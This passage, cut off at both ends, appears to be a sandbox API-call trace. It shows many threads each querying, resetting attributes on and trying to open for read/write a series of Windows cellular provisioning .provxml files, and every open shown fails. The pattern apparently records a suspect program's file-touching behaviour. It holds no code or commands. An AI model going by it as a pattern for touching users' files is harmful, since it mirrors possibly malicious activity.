users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\380__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0180.490] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.490] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\380__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.490] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.490] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054968) returned 1 [0180.490] RtlExitUserThread (Status=0x0) Thread: id = 2961 os_tid = 0x370 [0180.382] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\381__connections_cellular_vip mobile rs (serbia (republic of))_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.489] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.489] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\381__connections_cellular_vip mobile rs (serbia (republic of))_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.489] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.489] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae40) returned 1 [0180.489] RtlExitUserThread (Status=0x0) Thread: id = 2962 os_tid = 0x5b4 [0180.383] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\382__connections_cellular_mobileone (singapore)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.487] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.487] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\382__connections_cellular_mobileone (singapore)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.488] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.488] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044698) returned 1 [0180.488] RtlExitUserThread (Status=0x0) Thread: id = 2963 os_tid = 0xc0c [0180.383] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\383__connections_cellular_mobileone (singapore)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.474] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.474] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\383__connections_cellular_mobileone (singapore)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.474] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.474] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044d50) returned 1 [0180.474] RtlExitUserThread (Status=0x0) Thread: id = 2964 os_tid = 0x13b8 [0180.384] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\384__connections_cellular_singtel (singapore)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.473] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.473] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\384__connections_cellular_singtel (singapore)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.473] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.473] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044bf8) returned 1 [0180.473] RtlExitUserThread (Status=0x0) Thread: id = 2965 os_tid = 0xd68 [0180.384] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\385__connections_cellular_singtel (singapore)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.471] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.471] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\385__connections_cellular_singtel (singapore)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.471] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.472] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30443e8) returned 1 [0180.472] RtlExitUserThread (Status=0x0) Thread: id = 2966 os_tid = 0x1184 [0180.384] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\386__connections_cellular_singtel (singapore)_i2$(__mvid)@wap.provxml")) returned 0x20 [0180.508] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.509] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\386__connections_cellular_singtel (singapore)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.509] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.509] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30447f0) returned 1 [0180.509] RtlExitUserThread (Status=0x0) Thread: id = 2967 os_tid = 0x468 [0180.385] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\387__connections_cellular_singtel (singapore)_i3$(__mvid)@wap.provxml")) returned 0x20 [0180.486] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.486] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\387__connections_cellular_singtel (singapore)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.486] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3045408) returned 1 [0180.487] RtlExitUserThread (Status=0x0) Thread: id = 2968 os_tid = 0x854 [0180.385] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\388__connections_cellular_starhub (singapore)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.485] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.485] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\388__connections_cellular_starhub (singapore)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.485] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.485] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30452b0) returned 1 [0180.485] RtlExitUserThread (Status=0x0) Thread: id = 2969 os_tid = 0xfbc [0180.386] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\389__connections_cellular_starhub (singapore)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.484] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.484] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\389__connections_cellular_starhub (singapore)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.484] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.484] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044948) returned 1 [0180.484] RtlExitUserThread (Status=0x0) Thread: id = 2970 os_tid = 0xfb8 [0180.386] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\38__connections_cellular_jllc mobile telesystems (belarus)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.483] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.483] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\38__connections_cellular_jllc mobile telesystems (belarus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.483] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.483] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d5c8) returned 1 [0180.483] RtlExitUserThread (Status=0x0) Thread: id = 2971 os_tid = 0xfc0 [0180.387] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\390__connections_cellular_starhub (singapore)_i2$(__mvid)@wap.provxml")) returned 0x20 [0180.482] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.482] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\390__connections_cellular_starhub (singapore)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.482] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.482] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3045000) returned 1 [0180.482] RtlExitUserThread (Status=0x0) Thread: id = 2972 os_tid = 0xfc4 [0180.391] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\391__connections_cellular_o2 (slovakia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.481] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.481] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\391__connections_cellular_o2 (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.481] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.481] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f026f0) returned 1 [0180.481] RtlExitUserThread (Status=0x0) Thread: id = 2973 os_tid = 0xfc8 [0180.391] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\392__connections_cellular_orange (slovakia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.479] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.480] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\392__connections_cellular_orange (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.480] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.480] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3045158) returned 1 [0180.480] RtlExitUserThread (Status=0x0) Thread: id = 2974 os_tid = 0xfcc [0180.512] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\393__connections_cellular_slovak telekom (slovakia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.513] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.513] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\393__connections_cellular_slovak telekom (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.513] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.513] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa37d8) returned 1 [0180.513] RtlExitUserThread (Status=0x0) Thread: id = 2975 os_tid = 0xfd0 [0180.514] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\394__connections_cellular_t-mobile (slovakia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.516] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.517] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\394__connections_cellular_t-mobile (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, 